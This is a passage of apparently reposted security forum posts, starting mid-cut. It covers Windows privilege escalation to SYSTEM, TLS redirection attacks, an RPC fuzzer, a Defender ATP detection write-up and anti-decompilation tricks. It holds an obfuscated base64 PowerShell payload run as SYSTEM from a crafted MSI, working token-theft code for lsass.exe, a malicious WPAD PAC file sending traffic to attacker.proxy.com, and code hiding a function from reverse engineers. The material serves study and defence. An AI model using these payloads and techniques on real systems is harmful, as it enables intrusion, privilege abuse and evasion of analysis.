QBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA </Property> <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/> <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check"> invalid vbs to fail install </CustomAction> <InstallExecuteSequence> <Custom Action="SystemShell" After="InstallInitialize"></Custom> <Custom Action="FailInstall" Before="InstallFiles"></Custom> </InstallExecuteSequence> </Product> </Wix> view rawmsigen.wix hosted with ❤ by GitHub A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions: <Property Id="cmdline">powershell...</Property> <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/> This custom action is responsible for executing our provided cmdline as SYSTEM (note the Property tag, which is a nice way to get around the length limitation of the ExeCommand attribute for long Powershell commands). Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to "Add or Remove Programs" which is shown here by executing invalid VBScript: <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check"> invalid vbs to fail install </CustomAction> Finally, we have our InstallExecuteSequence tag, which is responsible for executing our custom actions in order: <InstallExecuteSequence> <Custom Action="SystemShell" After="InstallInitialize"></Custom> <Custom Action="FailInstall" Before="InstallFiles"></Custom> </InstallExecuteSequence> So, when executed: Our first custom action will be launched, forcing our payload to run as the SYSTEM account. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error. To compile this into a MSI we save the above contents as a file called "msigen.wix", and use the following commands: candle.exe msigen.wix torch.exe msigen.wixobj Finally, execute the MSI file to execute our payload as SYSTEM: PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw's walkthrough of how to become "Trusted Installer". Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back: View image on Twitter Twitter Ads info and privacy How this technique works is by leveraging the CreateProcess Win32 API call, and using its support for assigning the parent of a newly spawned process via the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute. If we review the documentation of this setting, we see the following: So, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a cool way to grab the SYSTEM account via the process token. We can create a new process and set the parent with the following code: int pid; HANDLE pHandle = NULL; STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T size; BOOL ret; // Set the PID to a SYSTEM process PID pid = 555; EnableDebugPriv(); // Open the process which we will inherit the handle from if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == 0) { printf("Error opening PID %d\n", pid); return 2; } // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute ZeroMemory(&si, sizeof(STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL, 1, 0, &size); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( GetProcessHeap(), 0, size ); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); // Finally, create the process ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi ); if (ret == false) { printf("Error creating new process (%d)\n", GetLastError()); return 3; } When compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM such as lsass.exe: The source for this technique can be found here. Alternatively, NtObjectManager provides a nice easy way to achieve this using Powershell: New-Win32Process cmd.exe -CreationFlags Newconsole -ParentProcess (Get-NtProcess -Name lsass.exe) Bonus Round: Getting SYSTEM via the Kernel OK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement... but it goes some way to show just how Windows is actually managing process tokens. Often you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space, with the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on exploit-db here), we can see a number of references to manipulating access tokens. For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the privileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won't go through how to set up the Kernel debugger connection as this is covered in multiple places for multiple hypervisors.) Once you have WinDBG connected, we first need to gather information on our running process which we want to elevate to SYSTEM. This can be done using the !process command: !process 0 0 cmd.exe Returned we can see some important information about our process, such as the number of open handles, and the process environment block address: PROCESS fffffa8002edd580 SessionId: 1 Cid: 0858 Peb: 7fffffd4000 ParentCid: 0578 DirBase: 09d37000 ObjectTable: fffff8a0012b8ca0 HandleCount: 21. Image: cmd.exe For our purpose, we are interested in the provided PROCESS address (in this example fffffa8002edd580), which is actually a pointer to an EPROCESS structure. The EPROCESS structure (documented by Microsoft here) holds important information about a process, such as the process ID and references to the process threads. Amongst the many fields in this structure is a pointer to the process's access token, defined in a TOKEN structure. To view the contents of the token, we first must calculate the TOKEN address. On Windows 7 x64, the process TOKEN is located at offset 0x208, which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer with the following command: kd> dq fffffa8002edd580+0x208 L1 This returns the token address as follows: fffffa80`02edd788 fffff8a0`00d76c51 As the token address is referenced within a EX_FAST_REF structure, we must AND the value to gain the true pointer address: kd> ? fffff8a0`00d76c51 & ffffffff`fffffff0 Evaluate expression: -8108884136880 = fffff8a0`00d76c50 Which means that our true TOKEN address for cmd.exe is at fffff8a000d76c50. Next we can dump out the TOKEN structure members for our process using the following command: kd> !token fffff8a0`00d76c50 This gives us an idea of the information held by the process token: User: S-1-5-21-3262056927-4167910718-262487826-1001 User Groups: 00 S-1-5-21-3262056927-4167910718-262487826-513 Attributes - Mandatory Default Enabled 01 S-1-1-0 Attributes - Mandatory Default Enabled 02 S-1-5-32-544 Attributes - DenyOnly 03 S-1-5-32-545 Attributes - Mandatory Default Enabled 04 S-1-5-4 Attributes - Mandatory Default Enabled 05 S-1-2-1 Attributes - Mandatory Default Enabled 06 S-1-5-11 Attributes - Mandatory Default Enabled 07 S-1-5-15 Attributes - Mandatory Default Enabled 08 S-1-5-5-0-2917477 Attributes - Mandatory Default Enabled LogonId 09 S-1-2-0 Attributes - Mandatory Default Enabled 10 S-1-5-64-10 Attributes - Mandatory Default Enabled 11 S-1-16-8192 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1-5-21-3262056927-4167910718-262487826-513 Privs: 19 0x000000013 SeShutdownPrivilege Attributes - 23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default 25 0x000000019 SeUndockPrivilege Attributes - 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - 34 0x000000022 SeTimeZonePrivilege Attributes - So how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged process, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following: kd> !process 0 0 lsass.exe kd> dq <LSASS_PROCESS_ADDRESS>+0x208 L1 kd> ? <LSASS_TOKEN_ADDRESS> & FFFFFFFF`FFFFFFF0 kd> !process 0 0 cmd.exe kd> eq <CMD_EPROCESS_ADDRESS+0x208> <LSASS_TOKEN_ADDRESS> To see what this looks like when run against a live system, I'll leave you with a quick demo showing cmd.exe being elevated from a low level user, to SYSTEM privileges: SursaL https://blog.xpnsec.com/becoming-system/

TLS Redirection (and Virtual Host Confusion) The goal of this document is to raise awareness of a little-known group of attacks, TLS redirection / Virtual Host Confusion, and to bring all the information related to this topic together. TLS Redirection (and Virtual Host Confusion) Intro Terms Docs Technical details Certificate/TLS features Vitrual host fallback Attacks (MitM) Techniques MitM + iptables redirection Adversary proxy Cache poisoning attack Tools (?) Exploitation techniques File uploading (SDRF) XSS Self-XSS Flash and crossdomain.xml CORS Protocol smuggling (CrossProtocol XSS) Active content substitution JavaScript libs (and Protocol smuggling) HTTP libs (and Protocol smuggling) HTTPS 2 HTTP redirect Reverse Proxy misrouting Client Cert auth "bypass" Certificate Pinning Protection Intro The main goal of TLS is to protect an encapsulated protocol from MITM attacks. To do this, TLS provides encryption, data integrity checking, and endpoint authentication. Authentication is performed via x509 certificates, which contain a list of domain names for which the certificate is valid. As a result, a client connecting to a server can make sure that it is connected to the required server (and not to a malicious server). However, there are various types of certificates. For example, certificates with wildcard names. It means that several servers may use a shared certificate. And it should be kept in mind that TLS works at the application level and does not know anything about the underlying protocols (IP, transport protocol). Thus, when a client connects to a server, the attacker can perform a MITM attack and redirect the client to another server (with a shared certificate). At the same time, it is not possible for client to find out which specific server it is connected. Why "TLS redirection"? The initial name of the attacks is Virtual Host Confusion. Virtual Host Confusion is a part of a larger issue that stems from the SSL/TLS architecture (for example, an attack can be performed not only with the HTTP protocol). So TLS redirection covers a wider range of attacks including Virtual Host Confusion. Depending on circumstances you can use any of these terms. What are the consequences? It is important to note that this attack does not depend on the protocol encapsulated in the TLS. It can be HTTP, SMTP, TNS, etc. However, the consequences largely depend on the protocol "capabilities", and also on how much the attacker "controls" the behavior of the server where the redirection takes place to. Although, we can get the most interesting results using browsers with HTTP protocol. Here is the simplest example with XSS. If HostB has an XSS vulnerability and both HostA and HostB use a shared certificate, attacker can force a user to send a request to HostA with XSS payload for HostB, perform a MITM attack, and redirect the request to HostB. HostB will process this request (using default virtual host) and respond with the XSS payload. However, for the user's browser, this response comes from HostA and, therefore, Javascript will be executed in the context of the HostA. Thus, the TLS redirection attack allows attackers to exploit bugs of vulnerable servers on hosts without vulnerabilities. This also helps exploit vulnerabilities due to the incorrect use of certain technologies/protocols, each of which is not a vulnerability itself (without the use of TLS redirection attack). More information on the attack techniques below. Terms Attacked Host/Server (HostA(ttacked) is the server under attack. TLS-brother Host/Server (HostB(rother)) is a server with a certificate or configuration, which includes the Attacked server due to TLS specifics. Shared (Overlapping) Certificate is a certificate that includes both the Attacked server and the TLS-brother server names. Same-Certificate Policy (similar to the Same Origin Policy) indicates that SSL/TLS provides the ability to authenticate the destination host to a certain degree of accuracy due to TLS specifics. Docs The goal of the document is to bring all the information together (main ideas, techiques), but not to explain everything in details. So in order to fully understand the attacks, it's highly recommended to read all these white papers and presentations. Network-based Origin Confusion Attacks against HTTPS Virtual Hosting by Antoine Delignat-Lavaud and Karthikeyan Bhargavan The BEAST Wins Again: Why TLS Keeps Failing to Protect HTTP by Antoine Delignat-Lavaud Demos from "The BEAST Wins Again..." by Antoine Delignat-Lavaud MITM Attacks on HTTPS: Another Perspective (SpeakerDeck version) by @antyurin Technical details Certificate/TLS features port is ignored issued for multiple hosts (SAN and CN*) wildcard name TLS cache sharing** SSLv3 (no SNI)** HTTP/2 connection sharing** CN* - Chrome hasn't supported CN field since 58 ** - depends on configuration of web server and browser Vitrual host fallback When an HTTP request comes to the TLS-brother server instead of the Attacked server, the SNI of the TLS request and the Host header of the request itself will indicate the name of the Attacked server. In case the web server does not have a virtual host with the name of the Attacked server, the response comes from the default virtual host Attacks (MitM) Techniques Here is a list of techniques to perform TLS-redirection attacks. MitM + iptables redirection When the Attacked server and the TLS-brother server have different IPs (or ports), then all connections are redirected to a host controlled by the attacker using various MITM techniques (arp-poisoning, for example). The IP address (port) is changed to the required one using iptables (for example). Adversary proxy By attacking WPAD, the attacker can force a user’s browser to use different proxy servers for different domain names using the PAC file. As the attacker controls the proxy server, he or she can redirect requests from the user’s browser. Before the publication of several papers in 2016, attackers could set the rules at the URL level (Chrome, FF), and not just at the domain name level, which allowed more sophisticated TLS redirection attacks, for example, redirection and substitution of only parts of pages (Active Content Substitution attack). However, the technique is still useful for attacks at the domain name level. Chrome - fixed. FF - not fixed (last checked in Jan 2017). Example of wpad file: function FindProxyForURL(url, host) { if (url == "https://HostA/crossdomain.xml") { alert("Req 2 HostA w/ crossdomain "+url); return "PROXY attacker.proxy.com:9999"; } else if (url.indexOf('https://HostA') !== -1) { alert("Req 2 HostA "+url); return "PROXY attacker.proxy.com:8888"; } else { alert("for another hosts "+url); return "DIRECT"; } } Cache poisoning attack Most web servers add headers, which allow caching of static content (JS, CSS), by default. A browser caches responses binding them to the full URL, if there is a permission (in the headers from the web server). In this attack, the attacker first forces the user's browser to load a specific script from the Attacked server, but then he redirects this request to the TLS-brother server by the TLS redirection attack. The server returns the script (which was originally uploaded by the attacker, for example). The user's browser caches the script. After that, the attacker forces the user to send a request to the page (at the Attacked server) from which the script should be called. The browser receives the page and parses it. However, it does not load the script again, but takes it from the cache (i.e. the attacker's script from the TLS-brother server) and executes it. Tools (?) script for MitM (iptables) script for START TLS feature script for proxy-redirector Exploitation techniques File uploading (SDRF) If any user-generated content (for example, HTML pages) can be uploaded to the TLS-brother server, then an attacker can execute JS code in the context of the Attacked server at the user's browser using the TLS redirection attack. Moreover, the attacker can attack auto update services on the user’s host if he or she can place a file using the same path (on the TLS-brother server) over which the service tries to download the file from the Attacked server. Video: Virtual host confusion exploit against Dropbox XSS If the TLS-brother server has an XSS vulnerability, the attacker can force the user's browser to send a request with XSS payload for the TLS-brother server to the Attacked server, perform a TLS redirection attack, and redirect the request to the TLS-brother server. TLS-brother server processes this request (using default virtual host) and responds with the XSS payload. However, for the user's browser, this response comes from the Attacked server and, therefore, Javascript will be executed in the context of the Attacked server. Video: TLS Redirection / Virtual Host Confusion and XSS Self-XSS If the TLS-brother server has a self-xss vulnerability (linked to a cookie), the attacker can expose his or her cookie from the TLS-brother server to the Attacked server via cookie forcing technique. Thus, during the TLS redirection attack, the HTTP request that goes to the TLS-brother server will contain cookies from the attacker, which will allow to exploit the self-XSS vulnerability in the context of the Attacked server successfully. Flash and crossdomain.xml If the TLS-brother server contains crossdomain.xml with * (or if the attacker has access to the trusted name zone), then the attacker can place a special SWF file that will interact with the Attacked server on his or her web server. When the user’s browser executes the SWF file, the user's Flash sends a request for crossdomain.xml file, which is redirected to the TLS-brother server using the TLS redirection attack. The Flash sees the permission for interaction (* is in the file) and caches it, thus allowing subsequent interaction with the Attacked server. CORS If the TLS-brother server returns CORS headers, then, in case of successful TLS redirection attack, the attacker can send only one request to the Attacked server (with the modified headers/ method, depending on the CORS permissions) and cannot read the response from the Attacked server. This is due to the fact that the CORS headers are checked for each response and, in case of failure, the browser resets the CORS cache. Thus, a successful attack is possible only if it is possible to change certain headers, critical to the Attacked server. Protocol smuggling (CrossProtocol XSS) There are many text-based (and not only) protocols. Many of them allow "interaction" from the HTTP protocol, some protocols return all (or part) of the sent HTTP requests back. In this case, browsers parse the responses from such services, since they consider them as HTTP 0.9 (i.e. the body of the response without headers). If the TLS-brother server has a service that "reflects" the request back, then it can be used to attack. If a user uses IE browser, the attacker can force the user to send a special request with JS payload (XSS) to the Attacked server, but then, using the TLS redirection attack, redirect the user to the service on the TLS-brother server. The service will "reflect" the request, and given that the attacker can force the browser to parse the response as HTML (content-sniffing), the attacker can execute JS code in the context of the Attacked server. In the case of other browsers, the response is parsed as text/plain, which does not allow an XSS attack. Nevertheless, the technique itself works as well. For example, if there is any XSS on the Attacked server already, it is possible to steal cookies (and other headers) using this technique (even if they are protected by the httpOnly flag). Video: TLS Redirection / Virtual Host Confusion and CrossProtocol XSS The following table shows the behavior of various applications: whether they return requests and whether they break connections due to a large number of errors (the tests are not clear enough, since they were conducted on random hosts on the Internet). SMTP Software Content reflection No disconnect on errors Exim - - Postfix - + SendMail + + QMail - + MS Exchange - (?) - (?) IBM Lotus Domino + + Sun ONE Messaging Server (SendMail?) + + IdeaSmtpServer + (till space) + POP3 Software Content reflection No disconnect on errors Dovecot - - QMail - - MS Exchange - - MailEnable POP3 Server - -(?) IBM Lotus Domino + (till space) + MDaemon - - WinGate + (till space) + Kerio Connect - + Cyrus - + Qpopper + (till space) + IMAP Software Content reflection No disconnect on errors Dovecot - - IMail + + UW imapd + (till 2nd space) + MS Exchange -(?) - IBM Lotus Domino + (till space) + MDaemon + (till space) + Kerio Connect + (till 2nd space) + Qpopper + (till 2nd space) + Cyrus + (till space) + Active content substitution Usually a page consists of html (with pictures) and active content, like JS, CSS, plugin objects, which can be embedded in the page and can be located in separate files. In this attack, TLS redirection is used for redirecting only the requests to the active content. That means the user's browser receives html code from the Attacked server, and JS script, for example, from the TLS-brother server. Of course, to perform the attack, the attacker must be able to control the content of the JS script on the TLS-brother server. To circumvent some of this attack limitations, you can use Relative Path Overwrite or similar techniques. It is worth mentioning some facts, which make this attack more reliable, about behavior of browsers, if they execute the file from script element (<script src="lib.js"></script>) with various headers or not: no browser cares about Content-Disposition header IE doesn't care about Content-Type header (without nosniff) FF, Chrome, Edge dont't execute script only if Content-Type is from "image" family (without nosniff) with X-Content-Type-Options, all the browsers requires correct Content-Type WPAD attack or Cache poisoning attack might be useful here. Video: TLS Redirection / Virtual Host Confusion and Active content substitution JavaScript libs (and Protocol smuggling) Nowadays web applications are full of JS libs. Modern approaches to development implicate that JS frameworks get content from the web server stealthy and asynchronously and display it to a user (like AJAX, Single Page Application, and so on). If the JavaScript of a web application on the Attacked server uses "insecure" functions, we can perform the TLS redirection attack. For example, there is the TLS-brother server with a "reflection" service and the Attacked server that uses JQuery.load function to get content from the Attacked server. The load function fetches content from a server and sets it to an appropriate element, so scripts from the content are executed. An attacker uses the cookie forcing technique and sets an additional cookie in a user's browser for the Attacked server. The cookie contains XSS payload. An attacker forces a user's browser to open the Attacked server. When the whole page is loaded by a user, an attacker turns on the TLS redirection attack. The JQuery from the Attacked server tries to get some content using the load function; this request is redirected to the TLS-brother server. The service "reflects" the request back, but again for a user's browser it is HTTP/0.9 response. As Jquery doesn't care about Content-Type, the payload from the cookie will be executed. Similar attacks can be performed if an attacker controls the content of files on the TLS-brother server. Potentially vulnerable features: JQuery's load JQuery's get, post, ajax (old version, with specific Content-Types) HTML import (test is required) WPAD attack or Cache poisoning attack might be useful here. HTTP libs (and Protocol smuggling) In some cases an attacker can perform TLS redirection between servers (API, for example) and influence business logic. For example, if the victim checks auth using Curl (for 200 OK) on the Attcked server REST API, Protocol smuggling (CrossProtocol XSS) technique could be used, because Curl supports HTTP/0.9 protocol and returns "CURLE_OK". Similar attacks can be performed if an attacker controls the responses from the TLS-brother server. HTTPS 2 HTTP redirect If the TLS-brother server redirects the request to the HTTP protocol, then it will be possible to capture and steal some information from it (token, for example ) after it is redirected. Video: Virtual host confusion exploit against Pinterest Reverse Proxy misrouting The case when TLS-brother is a reverse proxy and the attacker can control the routing of HTTP requests on the reverse proxy. Video: Virtual host confusion exploit against Akamai Client Cert auth "bypass" If a system uses client authentication using a TLS certificate, then, in case of a TLS redirection attack, the client will not send its client certificate, because the TLS-brother server will not request it. Certificate Pinning Certificate pinning allows you to bind a server name to a specific certificate, but if both the TLS-brother and the Attacked server use the same certificate, attacker can perform a TLS-redirection attack and, possibly, somehow affect the behavior of the client. Protection At the TLS protocol level, Alert is returned from the server if the SNI from the TLS request does not match the value from the certificate on the server. Java halts the TLS connection with an error, browsers don't Default virtual host value can be set blank at the web server level; Group resources (shared certificate) by the level of security; Locate web servers with user content in a separate domain (not in a subdomain) and a separate certificate. Hardening (like HSTS, SRI, Content sniffing, etc) can prevent or limit some types of attacks Sursa: https://github.com/GrrrDog/TLS-Redirection#tls-redirection-and-virtual-host-confusion

Inseamna ca e unul dintre cele mai mari bug bounty-uri date vreodata. Super.

Fara carduri? Slabut...

Da, urat.

RPC Forge RPC Forge is a local Python fuzzer of Windows RPC interfaces available over ALPC. The fuzzer parses the interfaces definitions and automatically performs valid calls on the RPC methods. This is more a PoC than a real fuzzer. Its aim was to be able to forge a valid serialized stream reaching RPC methods code without being rejected by the Windows RPC Runtime (because of bad arguments type leading to error: RPC_X_BAD_STUB_DATA). Thus, it doesn't contain any instrumentation in the server side to improve code coverage. RPC Forge was part of our work on Windows RPC and was introduced at PacSec 2017: A view into ALPC-RPC. Internal working Select one random interface Connect and bind to it through epmapper RPC service or fixed ALPC endpoint name (see Usage) Randomly choose one method Generate valid call arguments according to the method parameters types based on Sulley Generator Save the logs (call information) in a local file (depends on config.py) Perform the call with marshaled (NDR) generated arguments Extract any context_handle from the returned stream (to forge calls expecting a valid context_handle) Loop (Step 1 or Step 3) Deps PythonForWindows providing a Python implementation to play with ALPC and RPC. Sursa: https://github.com/sogeti-esec-lab/RPCForge

Detecting reflective DLL loading with Windows Defender ATP msft-mmpcNovember 13, 2017 Today's attacks put emphasis on leaving little, if any, forensic evidence to maintain stealth and achieve persistence. Attackers use methods that allow exploits to stay resident within an exploited process or migrate to a long-lived process without ever creating or relying on a file on disk. In recent blogs we described how attackers use basic cross-process migration or advanced techniques like atom bombing and process hollowing to avoid detection. Reflective Dynamic-Link Library (DLL) loading, which can load a DLL into a process memory without using the Windows loader, is another method used by attackers. In-memory DLL loading was first described in 2004 by Skape and JT, who illustrated how one can patch the Windows loader to load DLLs from memory instead of from disk. In 2008, Stephen Fewer of Harmony Security introduced the reflective DLL loading process that loads a DLL into a process without being registered with the process. Modern attacks now use this technique to avoid detection. Reflective DLL loading isn’t trivial—it requires writing the DLL into memory and then resolving its imports and/or relocating it. To reflectively load DLLs, one needs to author one’s own custom loader. However, attackers are still motivated to not use the Windows loader, as most legitimate applications would, for two reasons: Unlike when using the Windows loader (which is invoked by calling the LoadLibrary function), reflectively loading a DLL doesn’t require the DLL to reside on disk. As such, an attacker can exploit a process, map the DLL into memory, and then reflectively load DLL without first saving on the disk. Because it’s not saved on the disk, a library that is loaded this way may not be readily visible without forensic analysis (e.g., inspecting whether executable memory has content resembling executable code). Instrumentation and detection A crucial aspect of reflectively loading a DLL is to have executable memory available for the DLL code. This can be accomplished by taking existing memory and changing its protection flags or by allocating new executable memory. Memory procured for DLL code is the primary signal we use to identify reflective DLL loading. In Windows 10 Creators Update, we instrumented function calls related to procuring executable memory, namely VirtualAlloc and VirtualProtect, which generate signals for Windows Defender Advanced Threat Protection (Windows Defender ATP). Based on this instrumentation, we’ve built a model that detects reflective DLL loading in a broad range of high-risk processes, for example, browsers and productivity software. The model takes a two-pronged approach, as illustrated in Figure 1: First, the model learns about the normal allocations of a process. As a simplified example, we observe that a process like Winword.exe allocates page-aligned executable memory of size 4,000 and particular execution characteristics. Only a select few threads within the Winword process allocate memory in this way. Second, we find that a process associated with malicious activity (e.g., executing a malicious macro or exploit) allocates executable memory that deviates from the normal behavior. Figure 1. Memory allocations observed by a process running normally vs. allocations observed during malicious activity This model shows that we can use memory events as the primary signal for detecting reflective DLL loading. In our real model, we incorporate a broad set of other features, such as allocation size, allocation history, thread information, allocation flags, etc. We also consider the fact that application behavior varies greatly because of other factors like plugins, so we add other behavioral signals like network connection behavior to increase the effectiveness of our detection. Detecting reflective DLL Loading Let’s show how Windows Defender ATP can detect reflective DLL loading used with a common technique in modern threats: social engineering. In this attack, the target victim opens a Microsoft Word document from a file share. The victim is tricked into running a macro like the code shown in Figure 2. (Note: A variety of mechanisms allow customers to mitigate this kind attack at the onset; in addition, several upcoming Office security features further protect from this attack.) Figure 2. Malicious macro When the macro code runs, the Microsoft Word process reaches out to the command-and-control (C&C) server specified by the attacker, and receives the content of the DLL to be reflectively loaded. Once the DLL is reflectively loaded, it connects to the C&C and provides command line access to the victim machine. Note that the DLL is not part of the original document and does not ever touch the disk. Other than the initial document with the small macro snippet, the rest of the attack happens in memory. Memory forensics reveals that there are several larger RWX sections mapped into the Microsoft Word process without a corresponding DLL, as shown in Figure 3. These are the memory sections where the reflectively loaded DLL resides. Figure 3. Large RWX memory sections in Microsoft Word process upon opening malicious document and executing malicious macro Windows Defender ATP identifies the memory allocations as abnormal and raises an alert, as shown in Figure 4. As you can see (Figure 4), Windows Defender ATP provides context on the document, along with information on command-and-control communication, which can allow security operations personnel to assess the scope of the attack and start containing the breach. Figure 4. Example alert on WDATP Microsoft Office 365 Advanced Threat Protection protects customers against similar attacks dynamic behavior matching. In attacks like this, SecOps personnel would see an Office 365 ATP behavioral detection like that shown in Figure 5 in Office 365’s Threat Explorer page. Figure 5. Example Office 365 ATP detection Conclusion: Windows Defender ATP uncovers in-memory attacks Windows 10 continues to strengthen defense capabilities against the full range of modern attacks. In this blog post, we illustrated how Windows Defender ATP detects the reflective DLL loading technique. Security operations personnel can use the alerts in Windows Defender ATP to quickly identify and respond to attacks in corporate networks. Windows Defender Advanced ATP is a post-breach solution that alerts SecOps personnel about hostile activity. Windows Defender ATP uses rich security data, advanced behavioral analytics, and machine learning to detect the invariant techniques used in attacks. Enhanced instrumentation and detection capabilities in Windows Defender ATP can better expose covert attacks. Windows Defender ATP also provides detailed event timelines and other contextual information that SecOps teams can use to understand attacks and quickly respond. The improved functionality in Windows Defender ATP enables them to isolate the victim machine and protect the rest of the network. For more information about Windows Defender ATP, check out its features and capabilities and read about why a post-breach detection approach is a key component of any enterprise security strategy. Windows Defender ATP is built into the core of Windows 10 Enterprise and can be evaluated free of charge. Christian Seifert Windows Defender ATP Research Sursa: https://blogs.technet.microsoft.com/mmpc/2017/11/13/detecting-reflective-dll-loading-with-windows-defender-atp/?ocid=cx-twitter-mmpc

ENGINEERING BLOG Dangers of the Decompiler A Sampling of Anti-Decompilation Techniques November 16, 2017 / Markus Gaasedelen Traditional (assembly level) reverse engineering of software is a tedious process that has been made far more accessible by modern day decompilers. Operating only on compiled machine code, a decompiler attempts to recover an approximate source level representation. "... and I resisted the temptation, for years. But, I knew that, if I just pressed that button ..." --Dr. Mann (Interstellar, 2014) There’s no denying it: the science and convenience behind a decompiler-backed disassembler is awesome. At the press of a button, a complete novice can translate obscure ‘machine code’ into human readable source and engage in the reverse engineering process. The reality is that researchers are growing dependent on these technologies too, leaving us quite exposed to their imperfections. In this post we’ll explore a few anti-decompilation techniques to disrupt or purposefully mislead decompiler-dependent reverse engineers. Positive SP Value The first technique is a classic, but ‘noisy’, method of disrupting the Hex-Rays decompiler. In IDA Pro, the decompiler will refuse to decompile a function if it does not clean up its stack allocations (balancing the stack pointer) prior to returning. The error message raised by IDA when a positive stack pointer is detected during decompilation This happens occasionally (innocently) when IDA cannot reasonably devise the type definition of certain function calls. As an anti-decompilation technique, a developer can elicit this behavior in a function they would like to ‘hide’ by using an opaque predicate that disrupts the balance of the stack pointer. // // compiled on Ubuntu 16.04 with: // gcc -o predicate predicate.c -masm=intel // #include <stdio.h> #define positive_sp_predicate \ __asm__ (" push rax \n"\ " xor eax, eax \n"\ " jz opaque \n"\ " add rsp, 4 \n"\ "opaque: \n"\ " pop rax \n"); void protected() { positive_sp_predicate; puts("Can't decompile this function"); } void main() { protected(); } The instruction add rsp, 4 in the positive_sp_predicate macro defined above can never get executed at runtime, but it will trip up the static analysis that IDA performs for decompilation. Attempting to decompile the protected() function generated by the provided source yields the following result: Using opaque predicates to unbalance the stack pointer as a means of anti-decompilation This technique is relatively well known. It can be fixed via patching, or correcting the stack offset by hand. In the past I’ve used this technique as a simple stopgap to thwart novice reverse engineers (eg, students) from skipping the disassembly and going straight to decompiler output. Return Hijacking An aspiration of modern decompilers is to accurately identify and abstract away low-level bookkeeping logic that compilers generate, such as function prologues/epilogues or control flow metadata. Compiler generated function prologues will typically save registers, allocate space for the stack frame, etc Decompilers strive to omit this kind of information from their output because the concepts of saving registers, or managing stack frame allocation do not exist at the source level. An interesting artifact of these omissions (or perhaps a gap in the Hex-Rays decompiler heuristics) is that we can ‘pivot’ the stack just prior to returning from a function without the decompiler throwing a warning or presenting any indication of foul play. Pivoting the stack pointer (RSP) onto a ROP chain embedded into the binary Stack pivoting is a technique commonly used in binary exploitation to achieve arbitrary ROP. In this case, we (as developers) use it as a mechanism to hijack execution right out from underneath an unsuspecting reverse engineer. Those focused solely on decompiler output are guaranteed to miss it. Decompiling main, and a deceptive function ending with a stack pivot We pivot the stack onto a tiny ROP chain that has been compiled into the binary for this exercise of misdirection. The end result is a function call that is ‘invisible’ to the decompiler. Our discretely called function simply prints out ‘Evil Code’ to prove that it was executed. Executing the compiled binary making use of the return hijacking anti-decompilation technique The code used to demonstrate this technique of hiding code from the decompiler can be found below. // // compiled on Ubuntu 16.04 with: // gcc -o return return.c -masm=intel // #include <stdio.h> void evil() { puts("Evil Code"); } extern void gadget(); __asm__ (".global gadget \n" "gadget: \n" " pop rax \n" " mov rsp, rbp \n" " call rax \n" " pop rbp \n" " ret \n"); void * gadgets[] = {gadget, evil}; void deceptive() { puts("Hello World!"); __asm__("mov rsp, %0;\n" "ret" : :"i" (gadgets)); } void main() { deceptive(); } Abusing ‘noreturn’ Functions The last technique we’ll cover exploits IDA’s perception of functions that are automatically labeled as noreturn. Some everyday examples of noreturn functions 